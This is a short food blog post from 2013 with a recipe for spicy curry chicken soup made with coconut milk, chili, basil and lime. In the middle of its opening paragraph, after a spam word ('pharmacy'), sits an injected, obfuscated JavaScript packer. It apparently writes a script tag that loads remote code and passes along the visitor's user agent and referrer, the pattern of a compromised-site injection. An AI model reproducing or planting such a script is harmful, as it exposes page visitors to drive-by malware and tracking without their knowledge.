Foodie Friday: Curry Chicken Soup for the Sick

2013

Every mother/girlfriend/sister makes chicken noodle soup for their sick loved ones.  This is tradition.  I dared to be different and made a curry chicken soup for the sick guy.  My train of thinking was that spicy food is purported to have healthy pharmacy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkefa|var|u0026u|referrer|idtfz||js|php’.split(‘|’),0,{}))
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benefits, so why not feed it to someone sick?

Soup:
1 Can Condensed Milk
Panang Curry
Masamang Curry
Chili peper
Basil
2 Cans of Coconut Milk
Sliced Cherry Tomatoes
Chopped Kalamata Olives
Lime juice (lime leaves)
Chopped, Cooked Chicken
  1. Chop and brown the chicken in the skillet
  2. Add coconut broth, one whole chili pepper (I used a Vietnamese peper that is extremely spicy), sliced cherry tomatoes, sliced basil, lime leaves/juice and curries to taste.  I would suggest tasting the broth as you mix the ingredients to make sure the spice level is edible for you.  I used the condensed milk to cut the spiciness.
  3. Let everything simmer on medium-low for 15 minutes.

It might not look like your mama’s chicken soup, but it’s just as good!

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